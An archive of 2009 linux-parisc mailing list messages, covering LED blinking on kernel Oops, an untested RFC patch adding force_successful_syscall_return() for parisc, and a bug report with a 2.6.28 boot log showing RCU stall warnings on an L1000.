> not used anyway), while Heartbeat, disk-IO and LAN in/out still work
> as usual. So, you will notice the 4 LEDs at once as well, but in addition
> you still have the possibility to see if LAN goes in/out (e.g. if you ping
> the machine) or if the heartbeat still works (and so your machine should
> still be reachable).

The thing is that you have a machine with more than 4 LEDs. I have
B180/B132s which have only 4 leds. Thus I won't notice anything when
an Oops occurs. If you really don't want to have the old behaviour
(which, again, I really found nice), how about having the heartbeat
LED fixed when an oops occurs.

Even better, a way to "reset" the state of the leds through /proc
would solve both problems: an oops occurs, all/some leds flash/remain
lit, you (try to) login, figure out the oops wasn't so serious, echo
something > /proc/pdc/led and the LEDs start blinking normally again.

Anyway, the key point here is that not all machines without LCD have
more than 4 LEDs ;)

Thoughts?

Cheers,
T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [RFC, PATCH] parisc: add support for force_successful_syscall_return()
Date: Wed, 07 Jan 2009 22:38:30 +0100
Lines: 83
Approved: news@gmane.org
Message-ID: <496520D6.9040801@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231364340 12658 80.91.229.12 (7 Jan 2009 21:39:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 7 Jan 2009 21:39:00 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 07 22:40:10 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LKg81-0007z7-94
	for glpp-linux-parisc@gmane.org; Wed, 07 Jan 2009 22:39:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751676AbZAGVif (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 7 Jan 2009 16:38:35 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751775AbZAGVie
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 7 Jan 2009 16:38:34 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:41401 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751676AbZAGVie (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 7 Jan 2009 16:38:34 -0500
Original-Received: (qmail invoked by alias); 07 Jan 2009 21:38:31 -0000
Original-Received: from mnhm-590e0de0.pool.einsundeins.de (EHLO halden.box) [89.14.13.224]
  by mail.gmx.net (mp065) with SMTP; 07 Jan 2009 22:38:31 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+dlKhV4kOdWIJHFJE+XZ6P1QUYuhlTQ4kuokQq80
	mq0iwywR2P8oZM
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.43
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1161
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1161>

I just stumbled over this commit from Paul Mackerras which added 
support for force_successful_syscall_return() to compat_sys_time()
and compat_sys_times():
http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=e3d5a27d5862b6425d0879272e24abecf7245105

This made me wondering, if we couldn't add support for this as
well for parisc. Important part is of course to keep backwards
binary compatibility for userspace.

The following patch is just a draft, fully untested (not even
compiled) and incomplete (e.g. initialization for r29 in kernel still
needed), but it should give the idea that I have.
My idea is to use e.g. r29 as error indicator, since r29 is even 
marked as clobbered in old userspace syscall implementations.

So, my main question is:
Do you think it makes sense to continue on this idea?
My personal feeling is, that it is doable to implement
force_successful_syscall_return() in a sane manner while keeping
backwards ABI compatibility for parisc.

Feedback very much appreciated.

Helge

diff --git a/arch/parisc/include/asm/ptrace.h b/arch/parisc/include/asm/ptrace.h
index 302f68d..a54f7bb 100644
--- a/arch/parisc/include/asm/ptrace.h
+++ b/arch/parisc/include/asm/ptrace.h
@@ -61,6 +61,9 @@ void user_enable_block_step(struct task_struct *task);
 #define instruction_pointer(regs)	((regs)->iaoq[0] & ~3)
 unsigned long profile_pc(struct pt_regs *);
 extern void show_regs(struct pt_regs *);
+
+#define force_successful_syscall_return() (current->thread.regs.gr[29] = 0)
+
 #endif
 
 #endif
diff --git a/arch/parisc/include/asm/unistd.h b/arch/parisc/include/asm/unistd.h
index ef26b00..3649008 100644
--- a/arch/parisc/include/asm/unistd.h
+++ b/arch/parisc/include/asm/unistd.h
@@ -852,16 +852,20 @@
    are treated specially. Although r19 is clobbered by the syscall
    we cannot say this because it would violate ABI, thus we say
    r4 is clobbered and use that register to save/restore r19
-   across the syscall. */
+   across the syscall. If r28 is between -4095 and -1, r29==0
+   indicates a sucessful syscall even if the return value is
+   negative. */
 
 #define K_CALL_CLOB_REGS "%r1", "%r2", K_USING_GR4 \
-	        	 "%r20", "%r29", "%r31"
+	        	 "%r20", /* "%r29",*/ "%r31"
 
 #undef K_INLINE_SYSCALL
 #define K_INLINE_SYSCALL(name, nr, args...)	({			\
 	long __sys_res;							\
+	unsigned long __sys_res_unsucessful;				\
 	{								\
 		register unsigned long __res __asm__("r28");		\
+		register unsigned long __res_not_ok __asm__("r29");	\
 		K_LOAD_ARGS_##nr(args)					\
 		/* FIXME: HACK stw/ldw r19 around syscall */		\
 		__asm__ volatile(					\
@@ -874,8 +878,10 @@
 			: "memory", K_CALL_CLOB_REGS K_CLOB_ARGS_##nr	\
 		);							\
 		__sys_res = (long)__res;				\
+		__sys_res_unsucessful = __res_not_ok;			\
 	}								\
-	if ( (unsigned long)__sys_res >= (unsigned long)-4095 ){	\
+	if ( __sys_res_unsucessful && 					\
+	    (unsigned long)__sys_res >= (unsigned long)-4095 ){		\
 		errno = -__sys_res;		        		\
 		__sys_res = -1;						\
 	}								\
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: blink loadavg LEDs on Oops
Date: Fri, 09 Jan 2009 00:03:49 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <49668655.2010504@gmx.de>
References: <49635B41.5060205@gmx.de>	 <7d01f9f00901060728w2001ed38v15c305d1472cb66@mail.gmail.com>	 <49637B5E.7010103@gmx.de> <7d01f9f00901070338m4da2f915m707df8588a134dca@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231455901 10247 80.91.229.12 (8 Jan 2009 23:05:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 8 Jan 2009 23:05:01 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Thibaut VARENE <varenet@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 09 00:06:12 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LL3ws-00065Y-SR
	for glpp-linux-parisc@gmane.org; Fri, 09 Jan 2009 00:05:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1763888AbZAHXDz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 8 Jan 2009 18:03:55 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1763882AbZAHXDz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 8 Jan 2009 18:03:55 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:53970 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1763880AbZAHXDy (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 8 Jan 2009 18:03:54 -0500
Original-Received: (qmail invoked by alias); 08 Jan 2009 23:03:52 -0000
Original-Received: from mnhm-590e16cc.pool.einsundeins.de (EHLO halden.box) [89.14.22.204]
  by mail.gmx.net (mp040) with SMTP; 09 Jan 2009 00:03:52 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18hqG1aF8QhcHaKLJHzjTjmCpCErtZbH/Kg3Mfgxm
	sPnrxSYX0vPoAH
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
In-Reply-To: <7d01f9f00901070338m4da2f915m707df8588a134dca@mail.gmail.com>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.53
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1162
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1162>

Thibaut VARENE wrote:
> On Tue, Jan 6, 2009 at 4:40 PM, Helge Deller <deller@gmx.de> wrote:
> 
>> Yeah, valid question.
> ....
>> So, whenever the kernel hits such a WARNING(), all LEDs will blink.
>> Now after my patch, the 4 LEDs on the left side blink (they are currently
>> not used anyway), while Heartbeat, disk-IO and LAN in/out still work
>> as usual. So, you will notice the 4 LEDs at once as well, but in addition
>> you still have the possibility to see if LAN goes in/out (e.g. if you ping
>> the machine) or if the heartbeat still works (and so your machine should
>> still be reachable).
> 
> The thing is that you have a machine with more than 4 LEDs. I have
> B180/B132s which have only 4 leds. Thus I won't notice anything when
> an Oops occurs. If you really don't want to have the old behaviour
> (which, again, I really found nice), how about having the heartbeat
> LED fixed when an oops occurs.
> 
> Even better, a way to "reset" the state of the leds through /proc
> would solve both problems: an oops occurs, all/some leds flash/remain
> lit, you (try to) login, figure out the oops wasn't so serious, echo
> something > /proc/pdc/led and the LEDs start blinking normally again.
> 
> Anyway, the key point here is that not all machines without LCD have
> more than 4 LEDs ;)

I think you are right. My b160L has 4 LEDs only as well.
So, just changing the "upper" 4 LEDs is the wrong way.
Then I was thinking to just check for the machine type or processor type
and make it dependend on that. No good idea either.

In the end, I think it's the fault of CONFIG_DEBUG_SPINLOCK.
If this is enabled, it just turns sets oops_in_progress=1 as soon as
a spinlock was wrong. Either way, if this happens something is
wrong, and the LEDs should flash.
That said, I think we should just drop my patch. If they all flash
as soon as an error happened this is just right.
In a normal productive system a bad spinlock shouldn't happen either, so
my patch just adds some unnecessary noise.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: RCU detected CPU 0 stall & timer_interrupt(CPU 0): delayed!
Date: Fri, 9 Jan 2009 16:58:41 +0200 (EET)
Lines: 2242
Approved: news@gmane.org
Message-ID: <Pine.SOC.4.64.0901091632240.14526@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1231513145 5775 80.91.229.12 (9 Jan 2009 14:59:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 9 Jan 2009 14:59:05 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 09 16:00:15 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LLIqJ-00054r-A5
	for glpp-linux-parisc@gmane.org; Fri, 09 Jan 2009 16:00:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752543AbZAIO6x (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 9 Jan 2009 09:58:53 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751915AbZAIO6w
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 9 Jan 2009 09:58:52 -0500
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:43794 "EHLO smtp2.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751892AbZAIO6r (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 9 Jan 2009 09:58:47 -0500
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp2.it.da.ut.ee (Postfix) with ESMTP id 9352D73D907
	for <linux-parisc@vger.kernel.org>; Fri,  9 Jan 2009 16:58:41 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 5632EFD7A1; Fri,  9 Jan 2009 16:58:41 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 37B9AFD79B
	for <linux-parisc@vger.kernel.org>; Fri,  9 Jan 2009 16:58:41 +0200 (EET)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1163
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1163>

Hello,


I tried stock 2.6.28 on a parisc64 machine (L1000). 2.6.27 worked fine 
(except 2 bootup warnings that are known here as I was told). I turned 
on some debugging options for the current kernel, among them RCU stall 
detection, and it triggered quite some. In spite of the warnings, the 
computer seems to work fine. But I'm writing here because this might 
interest somebody.

Not subscribed, please CC:.


[    0.000000] Linux version 2.6.28 (mroos@hernes) (gcc version 4.3.2 (GCC) ) #1 SMP Wed Jan 7 20:04:12 EET 2009
[    0.000000] unwind_init: start = 0x40425d84, end = 0x4044c524, entries = 9850
[    0.000000] FP[0] enabled: Rev 1 Model 16
[    0.000000] The 64-bit Kernel has started...
[    0.000000] console [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: 64 bit PAT.
[    0.000000] model 00005c90 00000491 00000000 00000002 2353fbcb 100000f0 00000008 000000b2 000000b2
[    0.000000] vers  00000203
[    0.000000] CPUID vers 17 rev 8 (0x00000228)
[    0.000000] capabilities 0x1
[    0.000000] model 9000/800/L1000-44
[    0.000000] Total Memory: 3072 MB
[    0.000000] initrd: 7f91e000-7ffee193
[    0.000000] initrd: reserving 3f91e000-3ffee193 (mem_max c0000000)
[    0.000000] On node 0 totalpages: 786432
[    0.000000] free_area_init_node: node 0, pgdat 4044c840, node_mem_map 40b11000
[    0.000000]   Normal zone: 12288 pages used for memmap
[    0.000000]   Normal zone: 0 pages reserved
[    0.000000]   Normal zone: 774144 pages, LIFO batch:31
[    0.000000]   Movable zone: 0 pages used for memmap
[    0.000000] SMP: bootstrap CPU ID is 0
[    0.000000] Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 774144
[    0.000000] Kernel command line: root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux
[    0.000000] RCU-based detection of stalled CPUs is enabled.
[    0.000000] PID hash table entries: 4096 (order: 12, 32768 bytes)
[42949372.960000] Console: colour dummy device 160x64
[42949372.990000] Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes)
[42949373.020000] Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes)
[42949373.540000] Memory: 3071232k/3145728k available (2680k kernel code, 73924k reserved, 1279k data, 268k init)
[42949373.550000] virtual kernel memory layout:
[42949373.550000]     vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
[42949373.550000]     memory  : 0x0000000040000000 - 0x0000000100000000   (3072 MB)
[42949373.550000]       .init : 0x00000000405a8000 - 0x00000000405eb000   ( 268 kB)
[42949373.550000]       .data : 0x000000004039e358 - 0x00000000404de000   (1279 kB)
[42949373.550000]       .text : 0x0000000040100000 - 0x000000004039e358   (2680 kB)
[42949373.620000] SLUB: Genslabs=12, HWalign=64, Order=0-3, MinObjects=0, CPUs=8, Nodes=8
[42949373.630000] Calibrating delay loop... 878.18 BogoMIPS (lpj=4390912)
[42949374.000000] Security Framework initialized
[42949374.020000] Mount-cache hash table entries: 256
[42949374.030000] Brought up 1 CPUs
[42949374.040000] net_namespace: 1408 bytes
[42949374.040000] NET: Registered protocol family 16
[42949374.060000] EISA bus registered
[42949374.060000] Searching for devices...
[42949374.520000] Found devices:
[42949374.530000] 1. Rhapsody DC- 440 at 0xfffffffffffa0000 [160] { 0, 0x0, 0x5c9, 0x00004 }
[42949374.540000] 2. Rhapsody DC- 440 at 0xfffffffffffa6000 [166] { 0, 0x0, 0x5c9, 0x00004 }
[42949374.550000] 3. Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x095, 0x00009 }
[42949374.550000] 4. Astro BC Runway Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x582, 0x0000b }
[42949374.560000] 5. Elroy PCI Bridge at 0xfffffffffed30000 [0/0] { 13, 0x0, 0x782, 0x0000a }
[42949374.730000] 6. Elroy PCI Bridge at 0xfffffffffed32000 [0/1] { 13, 0x0, 0x782, 0x0000a }
[42949374.740000] 7. Elroy PCI Bridge at 0xfffffffffed34000 [0/2] { 13, 0x0, 0x782, 0x0000a }
[42949374.750000] 8. Elroy PCI Bridge at 0xfffffffffed36000 [0/3] { 13, 0x0, 0x782, 0x0000a }
[42949374.760000] 9. Elroy PCI Bridge at 0xfffffffffed38000 [0/4] { 13, 0x0, 0x782, 0x0000a }
[42949374.760000] 10. Elroy PCI Bridge at 0xfffffffffed3a000 [0/5] { 13, 0x0, 0x782, 0x0000a }
[42949375.160000] 11. Elroy PCI Bridge at 0xfffffffffed3c000 [0/6] { 13, 0x0, 0x782, 0x0000a }
[42949375.170000] 12. Elroy PCI Bridge at 0xfffffffffed3e000 [0/7] { 13, 0x0, 0x782, 0x0000a }
[42949375.170000] Enabling PDC_PAT chassis codes support v0.05
[42949375.500000] Releasing cpu 1 now, hpa=fffffffffffa6000
[42949375.520000] FP[1] enabled: Rev 1 Model 16
[42949375.550000] CPU(s): 2 x PA8500 (PCX-W) at 440.000000 MHz
[42949375.560000] Whole cache flush 336970 cycles, flushing 5156864 bytes 881134 cycles
[42949375.560000] Setting cache flush threshold to 100000 (2 CPUs online)
[42949375.620000] SBA found Astro 2.1 at 0xfffffffffed00000
[42949375.620000] Elroy version TR4.0 (0x5) found at 0xfffffffffed30000
[42949375.650000] pci 0000:00:00.0: reg 10 io port: [0x00-0x7f]
[42949375.650000] pci 0000:00:00.0: reg 14 32bit mmio: [0x000000-0x0003ff]
[42949375.660000] pci 0000:00:00.0: reg 30 32bit mmio: [0x000000-0x03ffff]
[42949375.660000] pci 0000:00:01.0: reg 10 io port: [0x00-0xff]
[42949375.660000] pci 0000:00:01.0: reg 14 64bit mmio: [0x000000-0x0003ff]
[42949375.660000] pci 0000:00:01.0: reg 1c 64bit mmio: [0x000000-0x001fff]
[42949375.660000] pci 0000:00:01.0: supports D1 D2
[42949375.660000] pci 0000:00:01.1: reg 10 io port: [0x00-0xff]
[42949375.660000] pci 0000:00:01.1: reg 14 64bit mmio: [0xf8020000-0xf80203ff]
[42949375.660000] pci 0000:00:01.1: reg 1c 64bit mmio: [0xf8040000-0xf8041fff]
[42949375.660000] pci 0000:00:01.1: supports D1 D2
[42949375.660000] pci 0000:00:02.0: reg 10 io port: [0x00-0xff]
[42949375.660000] pci 0000:00:02.0: reg 14 32bit mmio: [0x000000-0x0000ff]
[42949375.660000] pci 0000:00:02.0: reg 18 32bit mmio: [0x000000-0x000fff]
[42949375.660000] pci 0000:00:02.1: reg 10 io port: [0x00-0xff]
[42949375.660000] pci 0000:00:02.1: reg 14 32bit mmio: [0x000000-0x0000ff]
[42949375.660000] pci 0000:00:02.1: reg 18 32bit mmio: [0x000000-0x000fff]
[42949375.660000] pci 0000:00:04.0: reg 10 32bit mmio: [0xf8000000-0xf8000fff]
[42949375.660000] pci 0000:00:04.0: reg 14 io port: [0x00-0x3f]
[42949375.660000] pci 0000:00:05.0: reg 10 32bit mmio: [0x000000-0x000fff]
[42949375.660000] pci 0000:00:05.0: reg 14 io port: [0x00-0x3f]
[42949375.660000] Elroy version TR4.0 (0x5) found at 0xfffffffffed32000
[42949375.690000] Elroy version TR4.0 (0x5) found at 0xfffffffffed34000
[42949375.700000] NOTICE: Enabling PCI Arbitration
[42949375.720000] Elroy version TR4.0 (0x5) found at 0xfffffffffed36000
[42949375.760000] pci 0000:18:00.0: reg 10 io port: [0x00-0x7f]
[42949375.760000] pci 0000:18:00.0: reg 14 32bit mmio: [0x000000-0x0003ff]
[42949375.760000] pci 0000:18:00.0: reg 30 32bit mmio: [0x000000-0x03ffff]
[42949375.760000] Elroy version TR4.0 (0x5) found at 0xfffffffffed38000
[42949375.760000] NOTICE: Enabling PCI Arbitration
[42949375.790000] Elroy version TR4.0 (0x5) found at 0xfffffffffed3a000
[42949375.790000] NOTICE: Enabling PCI Arbitration
[42949375.820000] Elroy version TR4.0 (0x5) found at 0xfffffffffed3c000
[42949375.820000] NOTICE: Enabling PCI Arbitration
[42949375.850000] Elroy version TR4.0 (0x5) found at 0xfffffffffed3e000
[42949375.850000] NOTICE: Enabling PCI Arbitration
[42949375.880000] powersw: Soft power switch support not available.
[42949375.930000] NetLabel: Initializing
[42949375.930000] NetLabel:  domain hash size = 128
[42949375.930000] NetLabel:  protocols = UNLABELED CIPSOv4
[42949375.940000] NetLabel:  unlabeled traffic allowed by default
[42949376.150000] NET: Registered protocol family 2
[42949376.260000] IP route cache hash table entries: 131072 (order: 8, 1048576 bytes)
[42949376.290000] TCP established hash table entries: 262144 (order: 10, 4194304 bytes)
[42949376.320000] TCP bind hash table entries: 65536 (order: 9, 2097152 bytes)
[42949376.440000] TCP: Hash tables configured (established 262144 bind 65536)
[42949376.570000] TCP reno registered
[42949376.610000] NET: Registered protocol family 1
[42949376.710000] checking if image is initramfs... it is
[42949379.700000] Freeing initrd memory: 6976k freed
[42949379.710000] Chassis warnings not supported.
[42949379.720000] Performance monitoring counters enabled for Rhapsody DC- 440
[42949379.750000] VFS: Disk quotas dquot_6.5.1
[42949379.750000] Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
[42949379.770000] msgmni has been set to 6013
[42949379.790000] alg: No test for stdrng (krng)
[42949379.800000] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)
[42949379.810000] io scheduler noop registered
[42949379.820000] io scheduler anticipatory registered
[42949379.830000] io scheduler deadline registered
[42949379.830000] io scheduler cfq registered (default)
[42949379.850000] PDC Stable Storage facility v0.30
[42949380.610000] STI GSC/PCI core graphics driver Version 0.9a
[42949380.640000] Serial: 8250/16550 driver4 ports, IRQ sharing enabled
[42949380.640000] serial 0000:00:04.0: enabling device (0146 -> 0147)
[42949380.660000] 0000:00:04.0: ttyS0 at MMIO 0xfffffffff8000000 (irq = 70) is a 16550A
[42949380.670000] console handover: boot [ttyB0] -> real [ttyS0]
[42949380.680000] 0000:00:04.0: ttyS1 at MMIO 0xfffffffff8000008 (irq = 70) is a 16550A
[42949380.700000] 0000:00:04.0: ttyS2 at MMIO 0xfffffffff8000010 (irq = 70) is a 16550A
[42949380.720000] serial 0000:00:05.0: enabling device (0140 -> 0143)
[42949380.730000] 0000:00:05.0: ttyS3 at MMIO 0xfffffffff8005000 (irq = 71) is a 16550A
[42949380.750000] Couldn't register serial port 0000:00:05.0: -28
[42949380.770000] brd: module loaded
[42949380.850000] mice: PS/2 mouse device common for all mice
[42949380.860000] rtc-parisc rtc-parisc: rtc core: registered rtc-parisc as rtc0
[42949381.000000] TCP cubic registered
[42949381.010000] NET: Registered protocol family 17
[42949381.140000] rtc-parisc rtc-parisc: setting system clock to 2009-01-08 07:32:34 UTC (1231399954)
[42949381.150000] Freeing unused kernel memory: <0>------------[ cut here ]------------
[42949381.290000] Badness at kernel/smp.c:333
[42949381.420000] 
[42949381.420000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[42949381.420000] PSW: 00001000000001101111111100001110 Not tainted
[42949381.430000] r00-03  000000ff0806ff0e 000000004059b740 0000000040177f84 00000000404ea030
[42949381.440000] r04-07  0000000040597740 0000000040580120 0000000000000000 00000000404561f0
[42949381.440000] r08-11  00000000ff850460 0000000000000001 0000000040580120 0000000000000000
[42949381.850000] r12-15  000000004059c740 000000004059e740 0000000000000000 00000000ff848a18
[42949381.860000] r16-19  00000000405a0f40 000000004059df40 00000000405e84d0 00000000405eb000
[42949381.870000] r20-23  0000000000000000 00000000405eb000 0000000040595a60 0000000000000001
[42949381.870000] r24-27  0000000000000000 0000000040580120 0000000000000003 0000000040597740
[42949381.880000] r28-31  000000000800000e 00000000ff8504a0 00000000ff850630 0000000000000000
[42949382.280000] sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[42949382.420000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[42949382.420000] 
[42949382.430000] IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040177cb8 0000000040177cbc
[42949382.430000]  IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000002fe14050460
[42949382.440000]  CPU:        0   CR30: 00000000ff850000 CR31: 0000000000008020
[42949382.840000]  ORIG_R28: 00000000402c8b8c
[42949382.840000]  IAOQ[0]: smp_call_function_mask+0x48/0x2e8
[42949382.840000]  IAOQ[1]: smp_call_function_mask+0x4c/0x2e8
[42949382.850000]  RP(r2): smp_call_function+0x2c/0x38
[42949382.850000] Backtrace:
[42949382.860000]  [<0000000040177f84>] smp_call_function+0x2c/0x38
[42949383.260000]  [<0000000040152b28>] on_each_cpu+0x28/0x68
[42949383.270000]  [<000000004011bd04>] flush_data_cache+0x24/0x30
[42949383.390000]  [<000000004011b1a4>] free_initmem+0x94/0x338
[42949383.400000]  [<000000004011a2ec>] init_post+0x1c/0x238
[42949383.400000]  [<00000000405a849c>] kernel_init+0x34c/0x380
[42949383.410000] 
[42949383.410000] ------------[ cut here ]------------
[42949383.410000] Badness at kernel/smp.c:220
[42949383.420000] 
[42949383.420000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[42949383.580000] PSW: 00001000000001101111111100001110 Tainted: G        W 
[42949383.820000] r00-03  000000ff0806ff0e 0000000040598f40 0000000040177da0 0000000040580120
[42949383.960000] r04-07  0000000040597740 0000000000000001 0000000000000000 00000000404561f0
[42949383.960000] r08-11  00000000ff850460 0000000000000001 0000000040580120 0000000000000000
[42949383.970000] r12-15  000000004059c740 000000004059e740 0000000000000000 00000000ff848a18
[42949383.980000] r16-19  00000000405a0f40 000000004059df40 00000000405e84d0 0000000000000038
[42949384.380000] r20-23  00000000ff850460 0000000000000000 00000000ff8504d8 0000000000000001
[42949384.380000] RCU detected CPU 0 stall (t=4294938438/323 jiffies)
[42949384.380000] Backtrace:
[42949384.380000]  [<000000004011ccbc>] show_stack+0x14/0x20
[42949384.380000]  [<00000000401157d0>] dump_stack+0x18/0x28
[42949384.380000]  [<0000000040185bd8>] __rcu_pending+0xb8/0x348
[42949384.380000]  [<0000000040185ea8>] rcu_pending+0x40/0x90
[42949384.380000]  [<0000000040159504>] update_process_times+0x64/0xc8
[42949384.380000]  [<000000004011e03c>] timer_interrupt+0x184/0x218
[42949384.380000]  [<00000000401818b8>] handle_IRQ_event+0x60/0xc0
[42949384.380000]  [<00000000401819e4>] __do_IRQ+0xcc/0x288
[42949384.380000]  [<000000004011e81c>] do_cpu_irq_mask+0x204/0x290
[42949384.380000]  [<0000000040104074>] intr_return+0x0/0x4
[42949384.380000]  [<000000004014cd10>] vprintk+0x498/0x518
[42949384.380000]  [<0000000040115af8>] printk+0x40/0x50
[42949384.380000]  [<000000004011ce20>] show_regs+0x158/0x4d8
[42949384.380000]  [<000000004027ab74>] report_bug+0xc4/0x130
[42949384.380000]  [<000000004011d80c>] handle_interruption+0x274/0x848
[42949384.380000]  [<0000000040177b88>] smp_call_function_single+0x38/0x120
[42949384.380000] 
[42949384.390000] timer_interrupt(CPU 0): delayed! cycles 1A3D51B5 rem 373B5  next/now 502DC2FF04/50480050B9
[42949385.400000] r24-27  0000000000000000 0000000040580120 0000000000000001 0000000040597740
[42949385.400000] r28-31  000000000800000e 00000000ff850600 00000000ff8506f0 0000000000000000
